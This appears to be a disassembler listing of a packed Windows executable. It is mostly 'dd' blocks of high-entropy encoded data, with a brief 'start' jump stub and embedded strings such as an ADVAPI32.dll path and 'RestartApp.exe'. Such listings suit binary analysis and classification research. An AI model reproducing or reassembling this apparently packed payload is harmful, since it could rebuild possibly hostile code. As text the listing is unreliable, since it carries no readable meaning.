18AC1E3Ah, 669D511Fh, 25190068h dd 41782682h, 0E0FD38CCh, 54C01458h, 6FE5C595h, 0C1E85148h dd 0B839B0A2h, 206A23C1h, 5AB6B17Ch, 3E0EC00h, 0DB3A686Fh dd 735E0F6Eh, 8D04241Fh, 0ACCCC872h, 0E87ED005h, 0C8D252F4h dd 144F150h, 5FDBF0ECh, 0CCF8C0EFh, 47C17007h, 0CEE096D3h dd 1777C987h, 88F5095Bh, 950173D4h, 25F4A004h, 209296FCh dd 53C80088h, 98BA87A4h, 1A67720Bh, 15872E4h, 0C8F411Bh dd 0C8339E2Dh, 29007FBEh, 3AC4CA7Eh, 2DBF1365h, 0C892A4E4h dd 4E28E80h, 0E102C1A3h, 12A2163Dh, 49E4541Ah, 0B22D03DDh dd 0BBD29826h, 3D0D00F0h, 0CFCEE09Dh, 0B407DA9Bh, 0ECADB73Fh dd 0C62C1E52h, 0F61D0034h, 0BADF1231h, 2A12BE5Ch, 24E2C41Eh dd 0FC1F9F00h, 63854231h, 1D4B353h, 6CBE8616h, 5869D87Fh dd 74023C00h, 6B33520Eh, 9BD49A00h, 77E1C42Bh, 0A96C015Eh dd 7B64E757h, 4389C423h, 9D749800h, 3890CAB0h, 0BA50BCE4h dd 1FCF4D80h, 5361CCBCh, 50289C04h, 2387A6DDh, 0A2A33640h dd 3152640Dh, 8984889Ah, 0C43EFF79h, 0F0A700F9h, 0A5CB5AB8h dd 5C4D00B6h, 0B38D0F84h, 32521BC2h, 8F9D1484h, 4082006Ch dd 31516DBEh, 0FB170441h, 0C89A4983h, 0BA0F3AC8h, 83994CEEh dd 0E8A852B9h, 0B86259Eh, 9714228Ah, 0A547D410h, 8834AF00h dd 0A27973EDh, 482C5C94h, 21103700h, 1BDB498Fh, 898B3F30h dd 8842678Dh, 56026FEFh, 7DA28232h, 3A286089h, 499126EDh dd 14611A0h, 5D50FBC4h, 203EADB1h, 0CC6C638Ch, 0D34E9D00h dd 0B316E92Dh, 916D025Bh, 0E08D0DC8h, 0A1443074h, 3AD3E420h dd 64402C00h, 54291B47h, 6D3800BCh, 795BB601h, 6A004FD9h dd 0BD3D4D78h, 9B31F9h, 0C77F4258h, 34EF1239h, 6850A326h dd 74C26142h, 20044414h, 913B1E22h, 40A82EE4h, 87DD96Dh dd 38C9CC01h, 7CD51B19h, 5C7C170h, 9B613562h, 512804BDh dd 38E353FCh, 14A14A00h, 0B06CF0C4h, 792AE00h, 7E117967h dd 385200AFh, 71A91C39h, 0BF0B1289h, 0D9072DDCh, 0DD2014Ch dd 0E80C5AC6h, 3E128B4Dh, 0A900D9EAh, 19028C18h, 2F0502F7h dd 0C6619C52h, 0EB4EECC6h, 0EE852C41h, 0EDF4360Eh, 6F6A0055h dd 8DA9B334h, 332FDF2Dh, 12CC007h, 17189802h, 8C41D3Ah dd 1F920C04h, 0B50084B2h, 0D34D1651h, 5B073BE3h, 5D32C0E1h dd 0E910FA33h, 273B073Fh, 0F80640E0h, 100CABDh, 5832C5A0h dd 68A683B5h, 1274B007h, 5BE490D9h, 45004639h, 15A123E0h dd 0D5AEDCh, 0E5884E1Ch, 211BC432h, 7A018A7Ah, 41DA8926h dd 0C066391Eh, 94A4901h, 10A17CF0h, 0F47725h, 908C7AF3h dd 747835C7h, 1A41AD03h, 0C938E673h, 249E8F67h, 0C931875Dh dd 0C6639126h, 6D708BFEh, 71685858h, 47E0571h, 0EEC48Eh dd 0B0089983h, 79FCEF31h, 6897F609h, 3C0464AEh, 0E002C088h dd 4D4FCB75h, 10D77C61h, 74D53DB0h, 8F300167h, 0C71474C4h dd 9084DAE9h, 0C088ADBCh, 0CABAC895h, 2C0977B9h, 3AEC9FFAh dd 70E0027Ch, 0ADC0785Bh, 6C8140E2h, 0AF1D3BF3h, 0B46CC1B8h dd 80566110h, 0DE6FA227h, 9B7F016Ch, 80E2BA1Ch, 0D546C408h dd 764EAC8h, 3257847Dh, 0AC1F4514h, 567B8050h, 0A85005h dd 0E721F5B0h, 67C748AAh, 0BB74D603h, 0CABA01FEh, 808CF69Bh dd 282D897Ch, 72E86BA9h, 0FE081907h, 768031A5h, 310FEF62h dd 9328F5E8h, 0FB0887ABh, 0AE05D9Fh, 1624A073h, 0F2E234Fh dd 68A05AF0h, 7917E2C2h, 0EF38FB60h, 13CC49h, 7B6165F8h dd 0A6A9D66h, 178F3Eh, 0AC1BB340h, 27698BFh, 0BEF8EAE9h dd 0AFE09C60h, 1E483EC4h, 7679600Eh, 197302Eh, 0C8B9AA57h dd 0E0643365h, 0EE01A28Bh, 92CBBC5Bh, 0F3CDD222h, 6014D4E8h dd 66E18965h, 8E008DDDh, 57DABF64h, 3D307C1h, 0EFBD263Eh dd 0E90AFE0Bh, 60015571h, 59EEE400h, 90F60B08h, 0BD5A07E1h dd 0B001B68Fh, 0F3C6D13Bh, 27C139C0h, 754D0Eh, 0A5091E14h dd 181D9CB5h, 0B2C9300h, 6889DEFAh, 0D1F6607Eh, 1402B3CFh dd 4EF5A0Dh, 0C80249FFh, 792CA006h, 14B186F8h, 0CCAAD381h dd 966E3000h, 1F92D507h, 0EC0BDF05h, 0D422F709h, 0C86C20F0h dd 0DF7A95F6h, 1DD6E39h, 0EDF5C0B1h, 80DA149Fh, 5A1B3C92h dd 0B56B0099h, 1815BBD5h, 1119925Dh, 0F09859F2h, 7675EA10h dd 0AC0058DEh, 15F713Fh, 7B94A881h, 7697073Eh, 30D4AC9h dd 397DEBC6h, 95218D00h, 29381333h, 59FD000Fh, 3F3D6C04h dd 29C3F1C6h, 0C31EBE37h, 8511A832h, 240C9002h, 4A0091A3h dd 0DA720073h, 0AA38FFC6h, 8BAE7301h, 0A95F3A29h, 0C6E60h dd 63CF21DFh, 9113C1D1h, 0A339079h, 0D8B6B9E6h, 0B669FEAh dd 0BA611FDEh, 40ABB300h, 1D1E1328h, 7980B6F9h, 0AC12B277h dd 7C39C9EBh, 0C03B6C05h, 92BEAAE9h, 0E4030E01h, 0A6903431h dd 3CA3A180h, 53CAA5FDh, 29AD5100h, 93674ECBh, 7A200C5h dd 78704CA4h, 0D0C6803h, 617576EBh, 41ECA0A6h, 3D68C99Dh dd 94B68401h, 0F6F9ECACh, 12BD6301h, 39D40C72h, 0A166E8ECh dd 0F8488D4Ch, 0F328009Fh, 76B96BEFh, 6E0C9C2Dh, 21019048h dd 60E60079h, 2611C77Dh, 87F278BCh, 48A83D00h, 0FED032E2h dd 0C8F554C6h, 0DDD71E24h, 80C21D64h, 74928AA2h, 0B3082B4h dd 0C8A8B972h, 0A00203CEh, 0EE0D2B31h, 491F1900h, 0E19FA32Eh dd 0F2CE00DEh, 9AB3213Ch, 4B39C66Bh, 69EEB014h, 396D92h dd 2421E3C4h, 0EAD107FCh, 0AE31BE01h, 0E946962Fh, 0FC89EDDCh dd 0C590A130h, 766BD9D4h, 0CFACA0CDh, 0F3B900E9h, 5F8CBF52h dd 681888B8h, 0BBF9F178h, 1B310904h, 7D03019Ah, 88019C10h dd 98111EB7h, 7C20463Fh, 0F7EF26D2h, 33764004h, 0D30EEABDh dd 0B8C63041h, 983C19h, 84F2C69h, 5C22A8F2h, 6424A9E8h dd 97000CADh, 0EA69E434h, 9094A476h, 18F844A4h, 0B9005090h dd 66C167BAh, 5005D521h, 1B2D869h, 9F5EC658h, 31D2287Bh dd 13ABD518h, 93600061h, 20B45A7h, 7F288B34h, 0F1E28029h dd 0B0EF4F3Dh, 63C669FDh, 3E4E04Ah, 97A7BECFh, 911CD80Bh dd 6947B884h, 1650B632h, 7707ADEh, 760F7408h, 215C501Dh dd 0C40047ACh, 0E1C7226h, 1193FACEh, 1BA37768h, 0C45161ACh dd 14336080h, 0C811C090h, 1EB32740h, 117B60Ch, 0D51968h dd 9D0C28B0h, 0C8FE58ADh, 95D13003h, 150631Ah, 848E90E0h dd 80F47E65h, 3E0F7269h, 30877D91h, 0C8E1F2C6h, 0D9048070h dd 0CEF52C5h, 16EAA0C8h, 11302A4h, 547B2468h, 0FD20915Fh dd 0D1BC1863h, 57FBA591h, 0CB1ED028h, 0D5B02D97h, 0DCB16360h dd 0E8E25Bh, 2E64DBEDh, 3B9E031Eh, 0A30093F0h, 61A10E39h dd 1826F448h, 396701D5h, 0F700B3AAh, 125FFA2Dh, 0F11DFF3h dd 7B2A7E9Eh, 91CE37C3h, 262789E8h, 0C67F9300h, 492E4F4h dd 0D40A520Fh, 6FCF5F00h, 6DED4E44h, 51FE7A00h, 640A4C12h dd 0BF250B08h, 0C50CF416h, 4602C131h, 5AF90E80h, 0A834402Eh dd 44649827h, 936F3C68h, 0A34801F1h, 22300209h, 28260B31h dd 40053DB4h, 0EF5B83B2h, 9FBC2916h, 0B6DDD500h, 1FD9B91Fh dd 3B0DA19Dh, 5A769403h, 61008B01h, 0C8592EFCh, 0A054B535h dd 863A2E8h, 827965BAh, 0B1E00A8Ch, 1FB97346h, 419FE2CDh dd 65C4B31Dh, 0FA844342h, 15EC80BCh, 9713220Bh, 982028EAh dd 178F20BFh, 20C63A1Dh, 1AE08650h, 40007F6h, 0D2B8B229h dd 6B705A5h, 0CB976FB3h dd 9A02588Eh, 0BA689C5Bh, 0C004603Bh, 0E200033h, 1CBE3DA6h dd 32C0CF48h, 0C90C2B58h, 34AA0642h, 0C1A891B5h, 0A0DD5B00h dd 2FC01CF9h, 6C36002Ch, 631EF407h, 61027895h, 0A283C2C9h dd 0D46414h, 406CAE4Bh, 749B927Dh, 1D444848h, 0BA4F4E0Fh dd 5C0092B9h, 0E7B51426h, 0AC40FD2Ch, 0F990699Ch, 0BB7D7980h dd 0DEC27A2Dh, 2C5E900h, 8CA820ECh, 700948EFh, 8266BA87h dd 6861E05Eh, 1B20EE0Fh, 16A42272h, 1FA2164h, 91A9C244h dd 4112F018h, 0D2119C09h, 0A78810E1h, 0E6F80053h, 0C6FC783Fh dd 9098BA52h, 0C6EA12E3h, 5EBE0360h, 70841DD9h, 20F03CDBh dd 6A4CA6B8h, 90E8008h, 87B2849h, 896FAC4Dh, 0C9F98BDh dd 1CD5B0C8h, 435DA0B3h, 0AD91EEBBh, 0CA24F900h, 9F3C0F92h dd 0E16F3F23h, 8BE43880h, 0F27668C7h, 0F5AC29C3h, 1459018Fh dd 805BECF8h, 0AAE84003h, 63005A61h, 385279CDh, 178FDEh dd 9312B69Ch, 281904BAh, 90C2248h, 44E8EAEDh, 0EF503C08h dd 227CF628h, 94B0686Eh, 0BB6F4C1Fh, 15A7789h, 7922B330h dd 22C58830h, 52007E17h, 4CBA33DEh, 3A948D15h, 0AB1D0BB7h dd 0C2F14053h, 0DB6FEA48h, 7A1459C6h, 0EF200039h, 0A134FD1Dh dd 0C6013653h, 2435E5Ah, 0F042B721h, 72EA21F1h, 0E41BE6Bh dd 89450EF8h, 0C00C1001h, 69C80FDCh, 2081B837h, 80D904A2h dd 53623131h, 44E7E2h, 0F2A07147h, 0EA11BA3Bh, 6C0209FAh dd 9B870F58h, 2A106018h, 0EE7F2268h, 0F892D502h, 0E0E95086h dd 2898216Bh, 3AF7189Eh, 0CA4812D1h, 0E9D5A201h, 2946D2C9h dd 672CCF78h, 87800979h, 2C63D60Eh, 407C91B4h, 4E54C2DFh dd 97000372h, 71BED587h, 0B2B9874h, 70BCB7D2h, 5A912898h dd 0A0562200h, 51E180F8h, 71F700D1h, 9AEB29E0h, 142AE285h dd 0B827B07Ch, 57FEDAh, 2436B32Dh, 6D0099E9h, 7008B572h dd 9469DD9Bh, 19D24374h, 0E992D8D0h, 31C4B702h, 44F6AC28h dd 7E682474h, 63BA4148h, 7DC71C9h, 0B9420098h, 0B0982031h dd 88BF0128h, 0EFE8CD90h, 0F881056h, 9D2E3B2Fh, 0F2AC30F1h dd 0A30FA423h, 46A8EAB5h, 0DCB16420h, 0DB5D7083h, 35FDE817h dd 43AE0AEh, 0ADF64B0h, 0D00F40E1h, 8D0374h, 245A52C3h dd 6EEF7D18h, 47B1ED61h, 0DF0A43h, 385B4031h, 7EA9134Bh dd 3019A76h, 36BCC1F7h, 3820AA0Bh, 8D94009Bh, 4413F1DDh dd 0B3016959h, 0AEC16BAFh, 0A072E1D7h, 0E26E5500h, 56AA223Bh dd 547DF91Ch, 6C657201h, 6440E19Ah, 0DD291Eh, 35B8A096h dd 2EFBF070h, 8375A321h, 6CCB7B5Ch, 0DE9AAEE8h, 0FBB3D09h dd 8C4002Bh, 2C689EB8h, 443CAC73h, 3D8840EEh, 4ECAB05h dd 84F2B0EFh, 3CB8B4C3h, 2B7ACF1Eh, 1C6B9E00h, 9961A6ACh dd 5855822Ch, 0D861274Dh, 3020602Eh, 800D5Dh, 51E3ECFCh dd 0BBA1304h, 11F9F2C9h, 0EBD9C401h, 0A02D6Fh, 9CEA986Eh dd 0A4BC201Fh, 19F37430h, 20781B4Fh, 0A9006027h, 0B75E88h dd 72EBCD64h, 28875311h, 2C656825h, 74936874h, 0CBE90018h dd 0B9FC8DDBh, 0EA680BACh, 3B0C8679h, 3656A64h, 72F0FAE7h dd 5DF0B1C6h, 9F1DECE9h, 31300A26h, 317F0Eh, 0BA08B9ADh dd 192117AEh, 84A390FCh, 0A17F61E1h, 9D80DCB9h, 8D53199Fh dd 305500FEh, 74070FDCh, 9A38BC90h, 0C32C4816h, 907A09FAh dd 1693B384h, 5D9799h, 0CF9BE923h, 0E14C7333h, 472B86BCh dd 17FA0214h, 4E0D4827h, 0BD013C40h, 213DBA1Ch, 9C69E78Ah dd 381B2C02h, 0B00441D2h, 54054461h, 0AF188Ch, 0B7B1435Ch dd 775B594Ch, 82DB6CC9h, 0C18F752Dh, 2C40ED0h, 0AD6F0298h dd 0CC63EEE4h, 0F13C898h, 8FB8F901h, 5192E9E8h, 0C4ACC0CEh dd 23550041h, 2E393AA5h, 1628A444h, 0C60ECC1Ah, 4783B4h dd 26619D12h, 0B6750507h, 8C2CEAA0h, 72271F2Ch, 5B848013h dd 44902B76h, 83076C01h, 0F8AF0A49h, 68925FB0h, 0CC7262h dd 807DE5Eh, 0AC2E6E87h, 0F9C28EE6h, 0C40D0C16h, 234900D8h dd 264E8C84h, 9892FCF3h, 0C896A490h, 11FF044Eh, 0A00D9380h dd 97445882h, 187F080Ch, 0A758A5A0h, 6122C054h, 1FF6CA8h dd 20C1E4E7h, 0C36E34BAh, 0D90272A8h, 0A3B77413h, 8B589015h dd 7C1908A5h, 0C4261480h, 2E9B0E95h, 9284E7Eh, 0E4E80165h dd 0BE0758A5h, 4D88B9B7h, 3C5AD470h, 1B3B2C49h, 9EB407F4h dd 76D2208Ch, 826014EDh, 0F2CACD39h, 0C3430062h, 0F0F8BB75h dd 0A8126E26h, 489128EBh, 80720BEFh, 0A979EA1Bh, 95B844E3h dd 68B2E5F3h, 38B1E1FAh, 3C04BC00h, 5C138C3Ah, 0E900D31Fh dd 476DAADEh, 0A82ED753h, 0F911D044h, 15DC032Ch, 50600802h dd 0B021BA6Bh, 84C07000h, 42BF0918h, 80E0092h, 713C9DB2h dd 34989161h, 0F6953D05h, 0B4C04077h, 9E9CBCA1h, 0F37640B8h dd 45007028h, 0B9301C96h, 46D7FF7h, 0E1A23C38h, 0FF9440EAh dd 1DF93Eh, 0DCD95CAAh, 14FC5E7Eh, 6E914405h, 0EC81611Ah dd 0EFEC1D3Eh, 21730087h, 0CB4A159Ah, 0FA2E0B09h, 0FC817405h dd 66FC7B1h, 243B246Ch, 6490E425h, 0AC00A439h, 7C97F448h dd 79D9F2h, 451AC53Eh, 74771CC9h, 0E6036011h, 0A640070h dd 66B30618h, 0BE056E9Fh, 9A4F4604h, 3DEB9D81h, 44FC8C60h dd 0B5136B82h, 0D4C03702h, 305B72B1h, 34A09B06h, 0AE050E9Fh dd 0E68D1761h, 1C47D884h, 6EA29DC1h, 0C628982Bh, 13961AE4h dd 2045180Ch, 24C0BD9Dh, 0A6124723h, 0AB34005Fh, 9DFD6B8Dh dd 0C20E9C19h, 49687001h, 0D2423FFh, 17E113EFh, 235C409Bh dd 0C3C97537h, 0B209BCB0h, 8CB80687h, 62271034h, 8FEB8070h dd 33080029h, 12D7B3h, 0C7E51698h, 0F82617D0h, 0C054615Ch dd 2D393B3Fh, 705E00B0h, 229E0F29h, 0BC240973h, 0EB63A8E7h dd 921C00FAh, 3E352D83h, 591839FFh, 0E5E9F4C6h, 0ABE0313h dd 3686E68Ch, 7ADE3898h, 9C0D1B24h, 0C2A674Eh, 0DF25C0C0h dd 7CB20059h, 0D0FCB4C8h, 9E60D2EFh, 242A08B8h, 88A25490h dd 62650128h, 751EA712h, 608ACD74h, 21C02D6Fh, 0CC9563F5h dd 0DBE900B5h, 6CCABF62h, 0EA440A2Bh, 0A6D300DFh, 5EE11FCFh dd 83ECC51Eh, 3F02187Ch, 0E2129A2Dh, 647290h, 0FA5C6E36h dd 0A2A3752Bh, 5DCED01h, 0FEFB483h, 28EA7841h, 0E888DC3Ch dd 3C9C2D40h, 0D4CF04A9h, 821B8B47h, 98287B24h, 0BD7AEB60h dd 4AE70124h, 4606022Fh, 0D880FA3Dh, 261849CEh, 0C0D8055Ch dd 2AB2AFD8h, 2C7FEFh, 0E0AE4CC7h, 0A975E16Ah, 9CCC7309h dd 1C24C801h, 4F5D00DEh, 96383E23h, 0D00BBB6h, 0CF357FBFh dd 17054B1h, 0C2C56E53h, 0F80499E0h, 2501BAB4h, 0FAD51D5h dd 0EC20D3B2h, 14818B1h, 5EAE597Dh, 0F6C2460Eh, 40C360BBh dd 0F10E7Fh, 0EE2D63E7h, 0D1175B5Ch, 347B6E01h, 0AA7468A5h dd 0E811BC2Dh, 0B2041C8Ch, 6948A1A7h, 0E6CC4616h, 89C24810h dd 0AF0FB052h, 213A629h, 40BCA4C0h, 35091C60h, 5000F84Bh dd 0FB7973B6h, 2C789A77h, 0B544B41h, 28445BA2h, 0FF37EE03h dd 0B706BAA3h, 0E2FA20C0h, 8A820746h, 0D268042Fh, 0A04414E9h dd 0C014E73h, 8C72B9D9h, 75DCC3CAh, 16937516h, 14B4AF6Fh dd 0BD583824h, 0FAF05C74h, 0C6789D00h, 0F4EA126Dh, 6C9E2374h dd 43013101h, 34301928h, 0B7A0C05Bh, 32A7FC5Fh, 0BBBFAC17h dd 8072FC08h, 9A78DCE9h, 761568D1h, 8BA407EAh, 0A1466BBh dd 6999A51Ah, 12A0A8Ch, 3DE111ACh, 0DE33007Ah, 59C86A4Eh dd 3BD21FD1h, 90C6D75Ah dd 0F23ECDD8h, 2D225500h, 2E78E5B7h, 776830D2h, 63D5FB21h dd 0A9C0B950h, 0A2286B01h, 0EA713438h, 4442E5C5h, 3CE493h dd 0EFF4A8B1h, 0C45FD68Ch, 500096EEh, 0F0EB8F26h, 3FBBBDFEh dd 55BBA087h, 2B80FBBFh, 0ECF1177Dh, 3200E7D4h, 0B076F8C5h dd 713FE0Dh, 8B7391C1h, 0C0FBF7EAh, 307EC533h, 2CDA1100h dd 65BD2AF4h, 0F2AA7ABBh, 0EF990FF5h, 0A1E09F4Dh, 10B0A0D4h dd 136CC800h, 6A3B7325h, 0B550098h, 46DD8F40h, 353030EAh dd 36F8587Dh, 1AEC0072h, 0BF809962h, 961866A0h, 0D6217E35h dd 0E05700BEh, 0DDED322Fh, 0B1CEE41Dh, 0C2B1E0FAh, 990871h dd 0CB5663Eh, 37479620h, 29CCB4EEh, 887B7033h, 43385EA7h dd 8C6300E0h, 2BDCFB15h, 0F9240165h, 411B4008h, 60B88E17h dd 80338EA3h, 0AC4EDAC7h, 0A0F90101h, 1DE579D8h, 0CC6180E6h dd 8AD58274h, 48F23C73h, 0BA3D518Eh, 0AE8906C0h, 3530717Eh dd 0F1A08167h, 64F600BCh, 84BEEBF4h, 32FE30BBh, 556933Ah dd 0F3D4E424h, 7035BC46h, 168B0139h, 0FF29DDCBh, 8C63ED56h dd 892D1E19h, 6EB70061h, 0F6FBDF0Ch, 0EC03FC8Dh, 28F04DC6h dd 0F2258962h, 40D08EF6h, 500D037Fh, 68E90C5Fh, 0F771D5ADh dd 7288200h, 949F2ECEh, 0E2671203h, 0D5200F12h, 0C14B86C0h dd 9D15F6BBh, 0EB06148h, 8098DE56h, 7E786C75h, 5DDA003Ch dd 4DBC9AC3h, 4C78B626h, 31CD4830h, 10EEA6Bh, 20B4429Eh dd 0E8E3FDD0h, 7E4856E5h, 0CC678F0Ch, 30231CFh, 0ADD1A0CCh dd 217C1D1Ah, 51CB6200h, 0D71CA265h, 0BD9B3A37h, 0EA504470h dd 0D9DEE3FEh, 0E1396199h, 0B44D8h, 987E17DCh, 0CB90E365h dd 3B7A5507h, 4FA430A6h, 53FDC2EFh, 0ADFD5D60h, 3449E865h dd 994AD9C0h, 387B7F4Bh, 77800F4Fh, 2FD2B6CBh, 0F00637DAh dd 0E91D8224h, 1F5E0089h, 8443253Ch, 0EB14F698h, 88F0EDD6h dd 0C24807Ah, 0DCCE52A9h, 0CBDA6D07h, 38444196h, 0B88ED983h dd 3FF23F73h, 8C54AD67h, 95D80925h, 8C3317A4h, 7802CFB8h dd 2E504500h, 395DC0F5h, 941B2462h, 0E2115Ch, 0B69F0B33h dd 3525943h, 0D7202551h, 210A2EFDh, 0C4A03013h, 0BD00D011h dd 98BE1B7Dh, 0EA01B254h, 2F517FEh, 482232F1h, 0E40D0F7Bh dd 0CEC03AAAh, 0F7E1816Eh, 972F9800h, 0D4289496h, 867D00C8h dd 6721EFCBh, 6C000ED6h, 0DA2557FEh, 0C8835C4Dh, 0A1803AD0h dd 65B66C77h, 87C83E95h, 0B0526780h, 7AA32C01h, 5145BE00h dd 28DA0D7Eh, 39C1601Ch, 72547005h, 8331C23Ch, 35E5147h dd 609CD9ECh, 54B880F8h, 14C4D7h, 6FF331F0h, 0EB5D3D7Fh dd 0DCB01100h, 23685AC1h, 0E180F935h, 89881281h, 0DA269A92h dd 600EC727h, 78A080D8h, 280A71h, 0ED188E2Bh, 9F857330h dd 0AF0C40E0h, 71FFD8EAh, 0C1F47FD7h, 73BDFAA9h, 4A45F82Ch dd 2FBAF3Ch, 1FB7688Eh, 50CB60D7h, 2875124Dh, 7074031Eh dd 4900ECAEh, 643439F2h, 0BCA326h, 0CE6E45EDh, 58985F3Fh dd 9121A0Fh, 167D0069h, 14992C4Eh, 1CCFA5Dh, 0D8FEFFBFh dd 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53B3A5: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_53E726 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 220E0000h, 14h, 0 dd 10000000h, 0F65E0000h, 29650057h, 487005Ah, 5Ah, 54450000h dd 0F3ACh, 0Ch dup(0) dd 0FD010000h, 0FFFFh, 0 dd 998D0000h, 0FFFFh, 0F4960000h, 69DD0056h, 9Fh, 0Ah dup(0) dd 259h, 8 dup(0) dd 103A0000h, 447Bh, 7 dup(0) dd 65520000h, 72617473h, 70704174h, 6578652Eh, 0 dd 9C370000h, 9Fh, 4 dup(0) dd 0BEF60000h, 3E680053h, 0D077E8h, 30DF0000h, 0A9C5h dd 0Dh dup(0) dd 47330000h, 60057h, 23FA0000h, 94ACh, 2 dup(0) dd 3EB80000h, 39ACDBh, 2 dup(0) dd 69DD0000h, 9Fh, 0 dd 0E00000h, 0 dd 77E6h, 230000h, 0FFE00057h, 12h, 3 dup(0) dd 0FFB00000h, 0FFFF01FFh, 0FFFFh, 2890000h, 0B4EA005Bh dd 0FF4Eh, 3E3B0000h, 9Fh, 0 dd 4CD20000h, 0 dd 5D80000h, 77E8h, 5EEF0000h, 266FFh, 0C3DE0000h, 8CDCh dd 0A8D00000h, 0C005Ah, 240h, 4 dup(0) dd 0FFB00000h, 18Fh, 4 dup(0) dd 0FFFF0000h, 7FFFh, 3 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0) dd 0B1680000h, 9Eh, 4 dup(0) dd 69DD0000h, 9Fh, 3 dup(0) dd 62E20000h, 58h, 2 dup(0) dd 595C0000h, 57h, 7 dup(0) dd 0E90000h, 4, 0 dd 15C90000h, 0FFFFh, 6C1C0000h, 0F66130DEh, 1D35h, 3ED0000h dd 0A5E77FFEh, 0FFFF00A3h, 0FFFFh, 3040000h, 0B5E27FFEh dd 8A0Fh, 7 dup(0) dd 595C0000h, 57h, 6 dup(0) dd 0FE610000h, 1D03h, 10000h, 0 dd 595C0000h, 20E40057h, 2B0D13h, 0AB0000h, 0FFEDh, 3 dup(0) dd 3E280000h, 0ACD3h, 66E80000h, 3 dup(0) dd 49480000h, 1BE0057h, 78F4h, 8 dup(0) dd 66E80000h, 3 dup(0) dd 67370000h, 0A1440057h, 77E7h, 7F3F0000h, 909h, 0 dd 0F00000h, 3 dup(0) dd 3040000h, 3047FFEh, 7FFEh, 4 dup(0) dd 391E0000h, 0A0h, 3 dup(0) dd 92180000h, 0FFFFh, 56430000h, 2 dup(0) dd 69DD0000h, 9Fh, 2 dup(0) dd 23D70000h, 4A5277DDh, 655Dh, 7 dup(0) dd 66E80000h, 6 dup(0) dd 0E0A10000h, 58h, 59AD0000h, 57h, 8 dup(0) dd 3040000h, 4 dup(0) dd 99180000h, 0FFA7h, 0Ah dup(0) dd 4260000h, 58h, 61B40000h, 659C0000h, 688Bh, 3 dup(0) dd 230000h, 57h, 25h dup(0) dd 58400000h, 0A6E90058h, 96B977EBh, 59h, 607B0000h, 58h dd 8 dup(0) dd 0FFB00000h, 1CFh, 0 dd 0FFA40000h, 20012h, 3 dup(0) dd 0C1F80000h, 5Ah, 0Bh dup(0) dd 0A1200000h, 0D7AFFFFFh, 53h, 0D2BE0000h, 53h, 5 dup(0) dd 66E80000h, 5E140000h, 0F282h, 2 dup(0) dd 0BEEB0000h, 0F7F6h, 2 dup(0) dd 76B4h, 9D7B0000h, 57h, 3 dup(0) dd 3E0000h, 77E6h, 24D0000h, 1B3h, 4EAC0000h, 274505FBh dd 5Ah, 4 dup(0) dd 0A13F0000h, 30477E7h, 7FFEh, 5 dup(0) dd 59740000h, 8655h, 0 dd 44AF0000h, 57h, 6 dup(0) dd 3040000h, 0FFA47FFEh, 0B80012h, 0B000000h, 0C20374C0h dd 448B0018h, 0E8530C24h, 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 12h dup(0) dd 8C840000h, 893Bh, 0DD950000h, 0AEFFh, 5F700000h, 1E8Ah dd 72C30000h, 7FFEh, 0 dd 662C0000h, 2 dup(0) dd 130000h, 5A58h, 4 dup(0) dd 10000h, 482C0000h, 0F46EBDF2h, 56h, 4 dup(0) dd 73160000h, 0A1h, 0Ah dup(0) dd 87990000h, 3580h, 10h dup(0) dd 0DA580000h, 0FFA5h, 0 dd 6D9D0000h, 102h, 0 dd 0F9D50000h, 5Bh, 28h dup(0) dd 3E280000h, 0ACD3h, 47330000h, 57h, 0 dd 0F38E0000h, 0FEF7h, 0A2C80000h, 6CB80000h, 248h, 0FBA90000h dd 0FFFFh, 2 dup(0) dd 7C510000h, 7C8826h, 5 dup(0) dd 15CE0000h, 66E80058h, 2 dup(0) dd 0FC1A0000h, 0F530D683h, 65h, 66E80000h, 3 dup(0) dd 0C1D20000h, 1, 5 dup(0) dd 0A75D0000h, 0D5D6h, 4 dup(0) dd 10000h, 8 dup(0) dd 0F2CB0000h, 7FFEh, 0 dd 70990000h, 567B0747h, 5 dup(0) dd 7FFF0000h, 57h, 23E80000h, 0A0h, 0FFFF0000h, 0FFFFh dd 9 dup(0) dd 1A340000h, 5Ah, 6 dup(0) dd 0A80000h, 2 dup(0) dd 8C020000h, 59h, 44420000h, 689Fh, 0Eh dup(0) dd 662C0000h, 2 dup(0) dd 9C880000h, 3E28CABFh, 0ACD3h, 3 dup(0) dd 21210000h, 2121h, 14340000h, 0 dd 0E8130000h, 0FFFFh, 800000h, 51260000h, 58h, 5 dup(0) dd 3040000h, 595C7FFEh, 57h, 5 dup(0) dd 595C0000h, 57h, 0B6h dup(0) dd 2C700000h, 0DBBE0057h, 72A3h, 3 dup(0) dd 40A50000h, 58h, 0 dd 259h, 92180000h, 0FFFFh, 2 dup(0) dd 41E40000h, 199h, 0 dd 0C4620000h, 0BD58h, 0 dd 190000h, 0A81E0000h, 0E80C0057h, 97740058h, 8000005Ah dd 3, 0 dd 2AB80000h, 5Ah, 0A00F0000h, 9Fh, 40h, 4 dup(0) dd 0FCFC0000h, 8001h, 5 dup(0) dd 258h, 7 dup(0) dd 59260000h, 7C4h, 10h dup(0) dd 36F80000h, 0FFADh, 2 dup(0) dd 0FEF00000h, 2C8D0012h, 59h, 3 dup(0) dd 0D2BE0000h, 0F2030057h, 53h, 543F0000h, 78FDh, 4 dup(0) dd 93C30000h, 1DABh, 3 dup(0) dd 28Ah, 7 dup(0) dd 48E30000h, 783Bh, 5 dup(0) dd 662C0000h, 14h dup(0) dd 56430000h, 0 dd 23400000h, 14h, 3 dup(0) dd 0BEA90000h, 57h, 3EB80000h, 0ACDBh, 25h dup(0) dd 0FFB00000h, 7FFEh, 0 dd 7F3F0000h, 909h, 0A9A0000h, 66E8009Eh, 0 dd 92180000h, 70FFFFh, 0 dd 9C880000h, 5EC5CABFh, 5Ah, 0 dd 0B5E20000h, 8A0Fh, 0 dd 20000h, 1Ch dup(0) dd 5C750000h, 0E103h, 0AC0000h, 4 dup(0) dd 0D6FE009Eh, 703Bh, 87h dup(0) dd 92340000h, 9Fh, 5 dup(0) dd 0E800000h, 66E80000h, 3 dup(0) dd 7FD80000h, 0A1h, 2 dup(0) dd 10000h, 0 dd 6FA40000h, 4 